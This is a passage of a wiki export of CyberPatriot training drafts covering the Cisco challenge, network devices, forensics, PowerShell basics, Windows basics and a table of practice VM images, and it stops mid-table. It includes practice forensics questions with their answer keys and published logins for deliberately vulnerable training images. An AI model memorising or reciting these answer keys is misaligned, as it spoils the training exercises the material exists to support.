Welcome to the Cisco Networking Challenges section in this guide. Whether you're doing Cisco voluntarily (or under duress), I hope this guide proves helpful.

=== So what is Cisco? ===

Put simply, Cisco is a major tech company that specializes in networking gear, software, and communication tools. They develop and supply a variety of products & services like routers, switches, cloud platforms, security solutions, and collaboration systems. Their main focus is helping organizations set up, operate, and protect their digital networks. Cisco is a sponsor of some major CyberSecurity competitions, which gives them the opportunity to present their software and systems as challenges in competition rounds.

=== What is the Cisco Networking Challenge? ===

The Cisco Networking Challenge includes two parts: an online quiz and a hands-on virtual networking activity based on specific training materials.

The virtual networking challenge takes place in the Cisco Packet Tracer software, which emulates an actual network with devices that can be configured via GUI or CLI. Competitors will typically use the CLI to input commands that change the settings of devices based on intructions provided in the README of the challenge. The quiz section takes place on the Netacad platform, which is the utility provided by Cisco to learn the content needed to participate in the Cisco Networking Challenge and where the challenge itself is held. The quiz usually consists of 10 multiple choice questions over networking concepts.

This part is very different from the Network Security Challenges or Images. Instead of searching for and fixing security issues on a computer system, you're actually building and configuring a network.

[[Category:Cisco Introduction|034]]
[[Category:Migrated from cypat.guide]]
[[Category:Pending review]]

Draft:Getting Started

2026-09-22T05:42:30Z

MigrationBot: Backfill (v3.0 review queue): added to the review queue

{{Submit}}

One of the best things about competitions centering around Cisco is that the topics covered during rounds of the competition are typically stated before the competition begins. Generally, the website of the competition will state what modules of the Cisco NetAcad course will be covered during play. These modules' information comes from the Cisco Content Course, which your coach should give you access to. Before jumping in, you'll first need to create a Cisco Networking Academy (NetAcad) account.

=== Creating a Netacad Account ===

To get started, go to the [https://www.netacad.com/ Cisco Networking Academy website] and create an account. After that, your coach should give you a link to join the Content Course, which contains the training modules used to prepare for the Cisco Challenges in each round. Make sure not to share this course with anyone who isn’t part of your competition.

In addition to the Content Course, there is also a Competition Course. This is where you’ll access the actual competition materials—- more specifically, the multiple-choice quiz and the hands-on virtual networking exercise. This course uses a separate account or login, and your coach will provide the credentials for it.

Sources (ig): https://www.uscyberpatriot.org/competition/training-materials/cisco

=== Installing Packet Tracer ===

The hands-on virtual networking exercise portion of the Cisco Network Challenge will require you to use Packet Tracer to open the file and finish the portion. You can install the latest version of Cisco Packet Tracer [https://www.netacad.com/resources/lab-downloads?courseLang=en-US here]. Make sure you are logged in before you can download and install Packet Tracer on your device. Note that some competitions may use an older version of Packet Tracer. You should always verify the specific version of Packet Tracer with information on the competition website.

=== What is Cisco Packet Tracer? ===

You’ll learn more about Cisco Packet Tracer as you go through this guide, but put simply, it’s a network simulation tool created by Cisco. It allows you to build and configure virtual network topologies, simulate how devices behave, and test out different network protocols all without needing any physical Cisco hardware. You’ll use this both for learning and competing.

[[Category:Cisco Introduction|035]]
[[Category:Migrated from cypat.guide]]
[[Category:Pending review]]

Draft:Basic Devices in Computer Internetworking

2026-09-22T05:42:30Z

MigrationBot: Backfill (v3.0 review queue): added to the review queue

{{Submit}}

Author(s): RenzielMiner

Last Updated: 07-29-2025

{| class="mw-collapsible mw-collapsed wikitable" style="width:100%"
! Recommended Prerequisites (click to expand)
|-
|

None

|}

Computer internetworking relies on four primary types of devices: Hosts, Switches, Routers, and Firewalls. Each plays a vital role in building and maintaining a functional network.

== What is a network? ==

A computer network is a digital telecommunications network that allows nodes to share resources. Hosts, Switches, Routers, and Firewalls are all nodes.

== Client vs Server ==

* A CLIENT is a device that accesses a service made available by a SERVER.
** Includes devices like computers and smart phones.
* A SERVER is a device that provides functions or services for CLIENTS.
** Mostly everything can be a server, so long as it provides functions for clients.

== Host (End Device) ==

A host is any device that either accesses a network or is accessed through a network. Common examples include laptops, desktop computers, servers, smartphones, and tablets. Essentially, if it connects to the internet or a local network, it's a host.

== Switch ==

A switch is often the first networking device that hosts connect to. It operates within a LAN (Local Area Network), directing traffic between devices on the same local network. For example, if two coworkers in the same office want to share files, the switch handles that communication directly within the building.

== Router ==

A router connects multiple networks together and enables access to a WAN (Wide Area Network), such as the internet. When a computer on one LAN wants to communicate with another device in a different building, city, or even country, the data passes from the switch to the router. The router then forwards the data across various intermediate networks until it reaches its destination.

== Firewall ==

A firewall acts as a security barrier between trusted and untrusted networks. It filters incoming and outgoing traffic based on a set of rules, helping to block malicious or unauthorized data. While often considered more advanced and typically appearing in later stages or competition or network setups, firewalls are essential for protection.

== Supplementary Resources and Further Reading ==

* https://en.wikipedia.org/wiki/Computer_network
* https://www.youtube.com/watch?v=H8W9oMNSuwo&list=PLxbwE86jKRgMpuZuLBivzlM8s2Dk5lXBQ&index=1

[[Category:Cisco Packet Tracer|038]]
[[Category:Migrated from cypat.guide]]
[[Category:Pending review]]

Draft:Introduction to Forensics

2026-09-22T05:42:29Z

MigrationBot: Backfill (v3.0 review queue): added to the review queue

{{Submit}}

-----

Author(s): a_person

Last Updated: 05-30-2026

{| class="mw-collapsible mw-collapsed wikitable" style="width:100%"
! Recommended Prerequisites (click to expand)
|-
|

None

|}

== Digital Forensics ==

Think about a physical crime scene. An investigator would examine the scene, look for evidence, document their findings, and reconstruct what happened. Digital forensics is very similar. Instead of physical evidence, forensic analysts investigate logs, file systems, network traffic, and other artifacts to:

* identify evidence
* reconstruct exactly what happened
* determine the cause of an incident
* support legal investigations

Digital forensics is also a vital part of incident response (IR), which is the process an organization uses to detect, respond to, and recover from cyberattacks.

== What are forensics questions? ==

Forensics Questions are questions that ask about the current system, logs of attacks, or general information that has some relationship to the current system. These can ask you anything from CVEs, using logs to find indicators of compromise, or reversing a binary. They can also include file attachments which include, but are not limited to: network captures, images, and malware. They are usually located on the Desktop.

== Practice! ==

Here are some example, easy forensics questions that do not require much work:

{| class="mw-collapsible mw-collapsed wikitable" style="width:100%"
! '''Find the CVEs fixed in Notepad++ v8.5.7'''
|-
|

'''Fixed CVEs:''' CVE-2023-40031, CVE-2023-40036, CVE-2023-40164, CVE-2023-40166 '''Reference:''' [https://notepad-plus-plus.org/downloads/v8.5.7/ Notepad++ v8.5.7 Release Notes]

|}

{| class="mw-collapsible mw-collapsed wikitable" style="width:100%"
! '''Decode the encrypted message''': <code>5a 47 39 75 61 32 56 35 49 47 6c 7a 49 47 35 76 64 43 42 7a 61 32 6c 69 61 57 52 70</code>
|-
|

'''Decoded:''' donkey is not skibidi 

You can decode it by decoding from hex, then decoding the result from Base64. Cyberchef link: https://cyberchef.org/#recipe=From_Hex('Auto')From_Base64('A-Za-z0-9%2B/%3D',true,false)&input=NWEgNDcgMzkgNzUgNjEgMzIgNTYgMzUgNDkgNDcgNmMgN2EgNDkgNDcgMzUgNzYgNjQgNDMgNDIgN2EgNjEgMzIgNmMgNjkgNjEgNTcgNTIgNzA

|}

{| class="mw-collapsible mw-collapsed wikitable" style="width:100%"
! '''What is the publication timestamp (ISO 8601) for CVE-2025-4561?'''
|-
|

'''Timestamp:''' 2025-05-12T06:44:29.959Z '''Source:''' [https://github.com/CVEProject/cvelistV5/blob/main/cves/2025/4xxx/CVE-2025-4561.json CVE Record on GitHub]

|}

Here is an example of conducting forensics on Windows Event Logs. This was a scrapped challange for a CTF. You may want to do some research if you are not familiar with them.

'''[https://cypat.guide/FQPractice.evtx Click here to download the file]'''

{| class="mw-collapsible mw-collapsed wikitable" style="width:100%"
! '''Find the following information: the executable file downloaded and ran that was the malware, the name of the executable that abused an unquoted service path, the sensitive file that was accessed, the command that led the attacker to discover it, the registry value created for persistence of the PowerShell script uploading user data, and the FTP server port number.'''
|-
|

'''Answers:'''

<ul>
<li>update.exe</li>
<li>My.exe</li>
<li>passwords.txt</li>
<li>netshare</li>
<li>SysmonAgent</li>
<li>2222</li>
</ul>
|}

== What can I use for extra practice? ==

CTFs, practice images, and Hack the Box are great for forensics practice. Here are some websites you can use to practice them:

* https://picoctf.org/
* https://github.com/alphyos/CyberStart-2024
* https://imaginaryctf.org/
* https://images.cypat.guide
* https://www.hackthebox.com/

[[Category:Windows Forensics|001]]
[[Category:Migrated from cypat.guide]]
[[Category:Pending review]]

Draft:PowerShell for Beginner Users

2026-09-22T05:42:24Z

MigrationBot: Backfill (v3.0 review queue): added to the review queue

{{Submit}}

'''Author(s):''' Byrch 
'''Last Updated:''' 07-30-2025

{| class="mw-collapsible mw-collapsed wikitable" style="width:100%"
! Recommended Prerequisites (click to expand)
|-
|

None – This guide is for complete beginners. Some familiarity with Windows is helpful.

|}

-----

== What is a Commandlet (Cmdlet)? ==

A '''cmdlet''' (pronounced ''command-let'') is a small, single-function command built into PowerShell. 
Cmdlets are different from traditional commands because they:

* '''ALWAYS''' return objects (not just text).
* Use a consistent '''verb-noun''' naming convention.
* Can be combined together using '''pipelines (|)'''.

'''Examples:'''

<syntaxhighlight lang="powershell">Get-Help # Displays help info
Get-Process # Lists running processes
Stop-Process # Stops a process</syntaxhighlight>
<blockquote>'''Tip:''' Cmdlets are case-insensitive. <code>Get-Process</code> and <code>get-process</code> work the same.
</blockquote>
To see all available cmdlets:

<syntaxhighlight lang="powershell">Get-Command</syntaxhighlight>

-----

== Navigation ==

PowerShell can navigate your system like the command prompt, but with more features.

=== Basic navigation commands: ===

* <code>Get-Location</code> (or <code>pwd</code>) → Shows your current directory.
* <code>Set-Location <path></code> (or <code>cd <path></code>) → Change directory.
* <code>Get-ChildItem</code> (or <code>ls</code>) → List files/folders in the current directory.

'''Example:'''

<syntaxhighlight lang="powershell">Get-Location
Set-Location C:\Windows
Get-ChildItem</syntaxhighlight>
'''Using relative paths:'''

<syntaxhighlight lang="powershell">cd .. # Move up one directory
cd .\Logs # Move into Logs folder</syntaxhighlight>

-----

== Basic Scripting ==

PowerShell allows you to write scripts with the <code>.ps1</code> file extension.

=== Creating and running a script ===

<ol style="list-style-type: decimal;">
<li>Open '''Notepad''' or '''Powershell ISE (Integrated Scripting Environment).'''</li>
<li>Write your PowerShell commands.</li>
<li>Save as <code>myscript.ps1</code>.</li>
<li>Run it in PowerShell:
<syntaxhighlight lang="powershell">.\myscript.ps1</syntaxhighlight></li></ol>

<blockquote>'''Important:''' You may need to change the execution policy to allow scripts:
</blockquote>
<syntaxhighlight lang="powershell">Set-ExecutionPolicy -Scope CurrentUser RemoteSigned</syntaxhighlight>
=== Variables ===

<syntaxhighlight lang="powershell">$name = "CyberPatriot"
Write-Output "Hello, $name!"</syntaxhighlight>
=== Conditionals ===

<syntaxhighlight lang="powershell">if ($true) { Write-Output "It runs!" }</syntaxhighlight>
=== Loops ===

<syntaxhighlight lang="powershell"># Loop that counts till 5
for ($i = 1; $i -le 5; $i++) {
Write-Output "Number: $i"
}</syntaxhighlight>

-----

== File Operations ==

PowerShell makes file management straightforward:

=== Creating and reading files ===

<syntaxhighlight lang="powershell">New-Item -Path . -Name "notes.txt" -ItemType "File" # Create file
Set-Content notes.txt "This is cool!" # Write text
Get-Content notes.txt # Read file</syntaxhighlight>
=== Copying, moving, and deleting files ===

<syntaxhighlight lang="powershell">Copy-Item notes.txt C:\Backups
Move-Item notes.txt C:\Backups
Remove-Item C:\Backups\notes.txt</syntaxhighlight>
=== Working with directories ===

<syntaxhighlight lang="powershell">New-Item -Name "Reports" -ItemType "Directory"
Remove-Item Reports -Recurse -Force</syntaxhighlight>
=== Working with many files recursively ===

<syntaxhighlight lang="powershell">Get-ChildItem -Recurse -Force -File </syntaxhighlight>

-----

=== Pipelines (Power of PowerShell) ===

You can pass the output of one cmdlet to another using <code>|</code>:

<syntaxhighlight lang="powershell">Get-ChildItem -Recurse -Force -File | Where-Object {$_.Extension -eq ".mp3"}</syntaxhighlight>
This command finds all the '''files''' in the current directory with the extension *.mp3

-----

=== Fun Commands (Power of PowerShell) ===

You can find the checksum of a file using:

<syntaxhighlight lang="powershell">Get-FileHash -Algorithm MD5 -Path "/file/path/here"</syntaxhighlight>
Want to secure a plaintext string? You can use the following to convert it to encrypt and store strings securely (this will come in handy later):

<syntaxhighlight lang="powershell">"mypassword" | ConvertTo-SecureString -AsPlainText -Force</syntaxhighlight>
Don't know what a command-let does? You can view the parameters and other capabilties using another command-let:

<syntaxhighlight lang="powershell">Show-Command Get-LocalUser</syntaxhighlight>

[[Category:Windows PowerShell|009]]
[[Category:Migrated from cypat.guide]]
[[Category:Pending review]]

Draft:Windows Basics

2026-09-22T05:42:24Z

MigrationBot: Backfill (v3.0 review queue): added to the review queue

{{Submit}}

== First, what is Windows? ==

Windows is an operating system developed by Microsoft that is the main software allowing you to control and use your computer. An operating system (OS) is essential because it manages the computer’s hardware and software resources, lets you run applications, and provides a way for you to interact with the system through windows, icons, and menus (known as a graphical user interface, or GUI). You are most likely running Windows on your computer right now.

== Windows vs other operating systems ==

Windows, unlike other OS's such as Linux and FreeBSD, is more graphically focused, meaning that the user is able to see what exactly they are doing rather than typing commands in a terminal. However, Windows does have a terminal (Command Prompt(cmd) and Powershell).

== What to expect ==

You are mainly going to see and have to configure:

# Forensics Questions
# Unauthorized Users and Administrators
# Unsecure passwords
# Unsecure group policy settings
# Outdated software
# Malware
# Unnecessary services
# Unauthorized media and apps
# Unsecure apps
# Misconfigured firewall and antivirus settings

== Familiarity ==

It is important to get yourself familiar with the operating system. You can do this mainly through:

# Reading guides/documentation. This should help you get a basic understanding.
# Creating a Windows VM. Try playing around with it. [https://www.youtube.com/watch?v=uWMiWD-d7mQ Here is a guide on how to create a VM]
# Doing Practice Images. These can realy help with getting familiar with using common apps such as the ones in Microsoft Management Console(MMC).

== Helpful websites and forums ==

* https://learn.microsoft.com/en-us/
* https://community.spiceworks.com/
* https://www.elevenforum.com/

[[Category:Windows|000]]
[[Category:Migrated from cypat.guide]]
[[Category:Pending review]]

Practice Images

2026-09-19T06:24:37Z

MigrationBot: Point to the shared practice-image spreadsheet for now (table version kept in page history)

{{Submit}}

Author(s): (add name) Last Updated: 9-18-2026

'''Practice images''' are virtual machines (and Cisco Packet Tracer activity files) that someone has built to look like a neglected, vulnerable system. You harden them the way you would a real one: find the problems, fix them and answer the forensic questions, ideally under a time limit. They are the best way to get hands-on practice for competitions such as CyberPatriot without touching a system you care about.

== The list ==

The community's list of practice images for Windows, Linux and Cisco Packet Tracer, with difficulty, ratings, creators and download links, is kept in a shared spreadsheet:

'''[https://docs.google.com/spreadsheets/d/1cdVHtk4w5JDJCYy-EO2_ycr0ZqMgUyjFOVDn5Y8eGVw/edit?usp=sharing Practice images spreadsheet]'''

== Before you download ==

* '''Use a virtual machine and take a snapshot first.''' Some images deliberately contain malware-like programs, backdoors and unwanted software. Never run one on your everyday computer, and keep its network set to NAT or host-only.
* '''WikiCyber does not host, review or guarantee these files.''' They sit on third-party sites (mostly Google Drive) and links break or move. An image may also be broken or out of date.
* '''Any logins or extraction passwords in the spreadsheet are for the practice images only.''' Never reuse them anywhere real.
* '''Large and multi-part downloads are normal.''' Use [https://www.7-zip.org/ 7-Zip] to extract them, and read the README inside each image before you start.
* '''Try before you peek.''' Where a walkthrough or answer key exists, you learn far more if you work until you are truly out of ideas first.
* Cisco Packet Tracer activity files (<code>.pka</code>) need [https://www.netacad.com/ Cisco Packet Tracer], which Cisco offers through its Networking Academy.
* This list is unofficial and is not affiliated with CyberPatriot, the Air & Space Forces Association, Cisco or Microsoft. Each image belongs to its creator.

[[Category:Practice images]]

Practice Images

2026-09-19T06:12:50Z

MigrationBot: Add practice image list (83 images: Windows, Linux, Cisco, Misc)

{{Submit}}

Author(s): (add name) Last Updated: 9-18-2026

'''Practice images''' are virtual machines (and Cisco Packet Tracer activity files) that someone has built to look like a neglected, vulnerable system. You harden them the way you would a real one: find the problems, fix them and answer the forensic questions, ideally under a time limit. They are the best way to get hands-on practice for competitions such as CyberPatriot without touching a system you care about.

This page lists 83 community-made images for Windows, Linux and Cisco. Every image was made by a volunteer; WikiCyber only collects the list.

== Before you download ==

* '''Use a virtual machine and take a snapshot first.''' Some images deliberately contain malware-like programs, backdoors and unwanted software. Never run one on your everyday computer, and keep its network set to NAT or host-only.
* '''WikiCyber does not host, review or guarantee these files.''' They sit on third-party sites (mostly Google Drive) and links break or move. An image may also be broken or out of date.
* '''Passwords in the tables are for the practice images only.''' They are published by the image creators so you can log in. Never reuse them anywhere real.
* '''Large and multi-part downloads are normal.''' Use [https://www.7-zip.org/ 7-Zip] to extract them, and read the README inside each image before you start.
* '''Try before you peek.''' Where a walkthrough or answer key exists it is marked ''spoilers''. You learn far more if you work until you are truly out of ideas first.
* This list is unofficial and is not affiliated with CyberPatriot, the Air & Space Forces Association, Cisco or Microsoft. Each image belongs to its creator. If you made an image and want the credit corrected or the entry removed, leave a message on this page's Talk tab.

== How to read the tables ==

Click a column heading to sort. The tables start with the hardest images.

{| class="wikitable" style="width:auto"
! Level !! Meaning
|-
| 0 || Unrated
|-
| 1 || Easy
|-
| 2 || Easy – Medium
|-
| 3 || Medium
|-
| 4 || Medium – Hard
|-
| 5 || Hard
|-
| 6 || Hard – Super Hard
|-
| 7 || Super Hard
|-
| 8 || Super-Duper Hard
|}

'''Rating''' is the average score out of 10 from the community's [https://forms.gle/MMC29FrJ8oQUmKNg8 rating form]. A dash means no rating yet. Difficulty and ratings are opinions, not measurements.

== Windows ==

{| class="wikitable sortable" style="width:100%"
|-
! Image
! OS
! Difficulty
! Rating
! Creator
! Critical services / apps
! class="unsortable" | Notes
! class="unsortable" | Download
|-
| '''Troy Windows 10 Mock'''
| Windows 10
| data-sort-value="8" | 8 – Super-Duper Hard
| data-sort-value="8.0" | 8
| dudcom
| Netscape Navigator, MobaXTerm, Nginx, VSCode, ThunderBird, MySQL, BitComet
| —
| [https://drive.google.com/drive/folders/1dG-Xc7FsrCa_agSrjegMmlY8Ze0LI-jk?usp=drive_link Google Drive folder]
|-
| '''Beyond Journey's End'''
| Windows Server 2022
| data-sort-value="7" | 7 – Super Hard
| data-sort-value="8.0" | 8
| HIOOOO1234
| Active Directory, DNS, RDP
| Login: <code><nowiki>Frieren</nowiki></code> / <code><nowiki>Password1!</nowiki></code>
| [https://drive.google.com/file/d/1PRe5T9WXljVBh2e9CBqCpzObezsBb-HH/view?usp=sharing Google Drive]
|-
| '''Middlesea Hospital'''
| Windows Server 2025
| data-sort-value="7" | 7 – Super Hard
| data-sort-value="0" | —
| carbonice
| —
| Not released yet when the source list was compiled.
| —
|-
| '''Tokyo-3 Server'''
| Windows Server 2025
| data-sort-value="7" | 7 – Super Hard
| data-sort-value="9.0" | 9
| x1nni
| ApacheDS, pGina, MySQL, IIS (running Pydio 8), DNS, RDP, WinRM
| Login: <code><nowiki>sikari</nowiki></code> / <code><nowiki>IMu$t(N0t)Run&w4y</nowiki></code>
| [https://ejinnis.ca/practice-images/tokyo-3/ Author's page]
|-
| '''Baldis Basics'''
| Windows Server 2022
| data-sort-value="7" | 7 – Super Hard
| data-sort-value="9.5" | 9.5
| Donkey (d0nkeyman)
| Active Directory (Domain Services, DNS)
| —
| [https://drive.google.com/file/d/1woYKSkHiBAZI92D2ihTE72LNLABaGtXv/edit Google Drive]
|-
| '''King Arthurs Castle'''
| Windows Server 2019
| data-sort-value="7" | 7 – Super Hard
| data-sort-value="10.0" | 10
| Altoid0
| AD:DS, DNS, Dimension4, RDP
| Login: <code><nowiki>Arthur</nowiki></code> / <code><nowiki>CyberPatriot1!</nowiki></code>
| [https://drive.google.com/file/d/13OBAXsv408TQJ-WtNMc-mUEe2IBvI-UV/view?usp=share_link Google Drive]
|-
| '''Dead by Daylight'''
| Windows Server 2019
| data-sort-value="7" | 7 – Super Hard
| data-sort-value="10.0" | 10
| lolmenow
| Active Directory (Domain Services, DNS), DHCP
| Login: <code><nowiki>David</nowiki></code> / <code><nowiki>Th3_Ent1ty_Re4lm!</nowiki></code>
| [https://drive.google.com/file/d/1hWs8oLxXI1Ar0QaZSg0yTiQjHI_SPznd/view?usp=sharing Google Drive]
|-
| '''Princeton-Plainsboro Teaching Hospital (PPTH)'''
| Windows 11
| data-sort-value="6" | 6 – Hard - Super Hard
| data-sort-value="9.0" | 9
| x1nni
| SMB, RDP, Counter Strike Server (SRCDS)
| —
| [https://ejinnis.ca/practice-images/princeton-plainsboro-teaching-hospital/ Author's page]
|-
| '''Alphabet Soup'''
| Windows 10
| data-sort-value="6" | 6 – Hard - Super Hard
| data-sort-value="8.0" | 8
| swiftsnails
| RDP
| —
| [https://drive.google.com/file/d/1zTLpm26kZowc4mdNwrDv33RsCV-fj4-i/view Google Drive]
|-
| '''Sunrise Foundation Training Simulation'''
| Windows Server 2022
| data-sort-value="6" | 6 – Hard - Super Hard
| data-sort-value="9.0" | 9
| carbonice
| Active Directory (Domain Services, Certificate Services, DNS), IIS, RDP, SMTP (MailEnable), SMB
| Login: <code><nowiki>adminaccount</nowiki></code> / <code><nowiki>G0oDLuCK!!</nowiki></code> Extraction password: <code><nowiki>1658502732</nowiki></code> Treat <code>READMETOO.txt</code> as an extension of the usual README.
| [https://drive.google.com/file/d/1mm9jIRGv-OeGnywhIZgn4XcJV4fHjJGc/view?usp=sharing Google Drive]
|-
| '''Mushroom Kingdom'''
| Windows Server 2019
| data-sort-value="6" | 6 – Hard - Super Hard
| data-sort-value="8.0" | 8
| Magistrate
| IIS, Active Directory DNS, Active Directory Domain Services, Microsoft SQL, SMB, PHP
| Login: <code><nowiki>Mario</nowiki></code> / <code><nowiki>S3cure%The%Shr00ms</nowiki></code> Extraction password: <code><nowiki>MushroomMan64</nowiki></code>
| [https://drive.google.com/file/d/1KR1mnH5k5XGTOEJ-FdnYbZvLl12yMlQO/view Google Drive]
|-
| '''Hunter Management'''
| Windows Server 2022
| data-sort-value="5" | 5 – Hard
| data-sort-value="0" | —
| Unknown
| Active Directory (Domain Services, Directtory Certificate Services), DNS, and RDP
| Login: <code><nowiki>Adminstrator</nowiki></code> / <code><nowiki>CyberPatriot123!</nowiki></code>
| [https://drive.google.com/file/d/1by2aGa7zifXDvJMXKp2F7CEP0Am91Hq3/view?usp=drive_link Google Drive]
|-
| '''Town of Salem'''
| Windows Server 2022
| data-sort-value="5" | 5 – Hard
| data-sort-value="0" | —
| many_overcomplications
| —
| —
| [https://drive.google.com/file/d/1zD4LH7bWTvrJT3l0pJ906jgcWiDOjCIo/view?usp=sharing Google Drive]
|-
| '''Startup Central'''
| Windows Server 2022
| data-sort-value="5" | 5 – Hard
| data-sort-value="0" | —
| zyncist
| —
| Login: <code><nowiki>Administrator</nowiki></code> / <code><nowiki>Cyberpatriot21</nowiki></code> The source list was unsure where this download lives, so the link may not work.
| [https://scoreboard.titanturtles.xyz/files/c/TeamAssignmentTests/CP18/SharedWindowsTeamAssingment.7z Direct download (.7z)]
|-
| '''Aperture Science (Windows)'''
| Windows 10
| data-sort-value="5" | 5 – Hard
| data-sort-value="9.5" | 9.5
| infernushawk
| OpenSSH Server, FileZilla Server, SMB, RDP
| Three-part download: extract the first file with 7-Zip and the rest should follow. The links and extra details are in a Discord message.
| [https://discord.com/channels/301768361136750592/1058312750905954397/1153448304768716862 Discord message (needs Discord access)]
|-
| '''Windows Persistence Practice Image'''
| Windows Server 2025
| data-sort-value="5" | 5 – Hard
| data-sort-value="9.0" | 9
| pumpkinjones6_02843
| —
| Scores only ''persistence'': the methods attackers use to keep access to a machine.
| [https://drive.google.com/file/d/1xASQTw2yEdzUiEp02hQ0N0n2uceUUGPK/view Google Drive]
|-
| '''Lobotomy Corporation First Trumpet'''
| Windows Server 2022
| data-sort-value="5" | 5 – Hard
| data-sort-value="0" | —
| carbonice
| Active Directory (Domain Services, Certificate Services, DNS), IIS (MediaWiki), MySQL, RDP
| '''Warning:''' this was a rushed test image that was never meant for public use and has many problems; the author plans to replace it. Login: <code><nowiki>sysAdmin</nowiki></code> / <code><nowiki>Password123!</nowiki></code> Three-part zip: extract part 1 with 7-Zip in the same folder as parts 2 and 3.
| [https://drive.google.com/file/d/1Cs6egjX1yokZRGq8SmdLsHcgx0qwVl90/view Google Drive] [https://drive.google.com/file/d/1mN8yucgD31tVIJgWRkfYyRvegLsFHLS2/view?usp=sharing Part 1] [https://drive.google.com/file/d/1Gp22ccrHR680o9Gdi52SvZEliBRpm0G8/view?usp=sharing Part 2] [https://drive.google.com/file/d/1mo-r28xlR7aN4TUlEJGuHAkHss8W5lt1/view?usp=sharing Part 3]
|-
| '''Policy Violation Image'''
| Windows 11
| data-sort-value="5" | 5 – Hard
| data-sort-value="10.0" | 10
| lolmenow (lolmeow)
| what do you think?
| Focuses only on the Policy Violation categories (malware, prohibited files, unwanted software) plus Forensic Questions; no other vulnerability categories. TPM password: <code><nowiki>CyberSquadViolations!</nowiki></code>
| [https://drive.google.com/file/d/1c1Zxr0AYk3gE_yUH_1vwxNETEmezvbBj/view Google Drive]
|-
| '''District 13'''
| Windows Server 2022
| data-sort-value="4" | 4 – Medium - Hard
| data-sort-value="0" | —
| brody001301
| ADDS, ADCS, IIS, SQL
| A walkthrough exists. Play the image until you are truly out of ideas before you open it.
| [https://drive.google.com/file/d/1EJXcC2SP3awuIjON9y655dLO4eZPZkmW/view?usp=sharing Google Drive] [https://docs.google.com/document/d/1PRwvl90g5WWAy7ODXa62Na7GSnWk_gACh91aF1vJ4uY/edit?usp=sharing Walkthrough (spoilers)]
|-
| '''DPRK Server'''
| Windows Server 2025
| data-sort-value="4" | 4 – Medium - Hard
| data-sort-value="10.0" | 10
| lolmenow (lolmeow), SG, a_person
| Active Directory (Domain Services, Certificate Services), RDP, SMB, VBS
| Login: <code><nowiki>Kim Jong Un</nowiki></code> / <code><nowiki>N0rThKoR3@thEGo@t!!</nowiki></code>
| [https://drive.google.com/file/d/1FJ9ZxVpQDMaX29SVykuNW1LMODr3BAGu/view?usp=sharing Google Drive] [https://sakouk.me/cyberpatriot#democratic-peoples-republic-of-korea Further information]
|-
| '''Among the Reindeer'''
| Windows 10
| data-sort-value="4" | 4 – Medium - Hard
| data-sort-value="0" | —
| Magistrate
| SMB
| —
| [https://drive.google.com/file/d/1h1P-BAwL5Pdm6l1GwWmbbDb2BnW3M6UE/view Google Drive]
|-
| '''My Little Pony'''
| Windows 10
| data-sort-value="4" | 4 – Medium - Hard
| data-sort-value="0" | —
| Donkey (d0nkeyman)
| FTP Server
| The author warns: do not open this image in a public place such as a library.
| [https://drive.google.com/file/d/1Og8lIMVqGKKenFXTpWYhA8X-szXyRtcY/view Google Drive]
|-
| '''System Hardening 9'''
| Windows Server 2022
| data-sort-value="3" | 3 – Medium
| data-sort-value="8.3" | 8.3
| firepony57
| SMTP (MailEnable), IIS
| Login: <code><nowiki>frodo</nowiki></code> / <code><nowiki>Pa$$w0rd10</nowiki></code>
| [https://drive.google.com/file/d/1qPkE62na-Io3lQcCrd0aXMEqt3ItjBpq/view Google Drive] [https://eth007.me/cypat/syshardening9/ Image page]
|-
| '''Kalis Windows Image'''
| Windows 10
| data-sort-value="3" | 3 – Medium
| data-sort-value="9.0" | 9
| KaliPatriot
| OpenSSH, File Sharing (smb)
| —
| [https://drive.google.com/file/d/1FzzYG7haDwrz4D69MtKGDifDpqNWcg5q/view?usp=sharing Google Drive]
|-
| '''Windows 7 Advanced'''
| Windows 7
| data-sort-value="3" | 3 – Medium
| data-sort-value="0" | —
| Unknown
| —
| One of several older images in a shared Google Drive folder.
| [https://drive.google.com/drive/folders/1LY_nvNZwJ9AxKO-fQCg7q08cNjVJhfKv Google Drive folder]
|-
| '''Windows 7 Intermediate'''
| Windows 7
| data-sort-value="2" | 2 – Easy - Medium
| data-sort-value="0" | —
| Unknown
| —
| One of several older images in a shared Google Drive folder.
| [https://drive.google.com/drive/folders/1LY_nvNZwJ9AxKO-fQCg7q08cNjVJhfKv Google Drive folder]
|-
| '''Cincinnati Zoo'''
| Windows 10
| data-sort-value="2" | 2 – Easy - Medium
| data-sort-value="8.3" | 8.3
| Donkey (d0nkeyman)
| SMB
| —
| [https://drive.google.com/file/d/1ai3vff_pS_rABc8hsnE_0uv08MOZiB1W/view Google Drive]
|-
| '''Jason'''
| Windows Server 2022
| data-sort-value="1" | 1 – Easy
| data-sort-value="0" | —
| Unknown
| Active Directory Domain Service (ADDS), DNS
| Login: <code><nowiki>Administrator</nowiki></code> / <code><nowiki>GoTroyCyber!</nowiki></code> Forensics questions are in <code><nowiki>C:\Users\Jason\Desktop</nowiki></code>. Reinstalling VMware Tools is recommended for a smoother experience.
| [https://drive.google.com/file/d/1hxRrVfQAuopYrDO70Qmm6YPk3NsXQLOu/view?usp=drive_link Google Drive]
|-
| '''Santas Workshop'''
| Windows 10
| data-sort-value="1" | 1 – Easy
| data-sort-value="6.0" | 6
| Magistrate
| BioniX Video Wallpaper (leave it alone)
| —
| [https://drive.google.com/file/d/1T7Lj5rHqq3JD2O1tZf_24vTytdOKytXO/view Google Drive]
|-
| '''Windows 7 Beginner'''
| Windows 7
| data-sort-value="1" | 1 – Easy
| data-sort-value="0" | —
| Unknown
| —
| One of several older images in a shared Google Drive folder.
| [https://drive.google.com/drive/folders/1LY_nvNZwJ9AxKO-fQCg7q08cNjVJhfKv Google Drive folder]
|-
| '''Windows 7 Elk Grove'''
| Windows 7
| data-sort-value="0" | 0 – Unrated
| data-sort-value="0" | —
| Unknown
| —
| One of several older images in a shared Google Drive folder.
| [https://drive.google.com/drive/folders/1LY_nvNZwJ9AxKO-fQCg7q08cNjVJhfKv Google Drive folder]
|-
| '''Windows Server 2016'''
| Windows Server 2016
| data-sort-value="0" | 0 – Unrated
| data-sort-value="0" | —
| Unknown
| —
| One of several older images in a shared Google Drive folder.
| [https://drive.google.com/drive/folders/1LY_nvNZwJ9AxKO-fQCg7q08cNjVJhfKv Google Drive folder]
|-
| '''Infinity War'''
| Windows 10
| data-sort-value="0" | 0 – Unrated
| data-sort-value="9.5" | 9.5
| Unknown
| Notepad++, Acrobat Reader XI, Firefox
| These are programs rather than services; the image's README lists them.
| [https://drive.google.com/file/d/1ORNNOwuy-PhGVsqR-OFykTS6CsDDL23o/view Google Drive]
|-
| '''Pontiac'''
| Windows 10
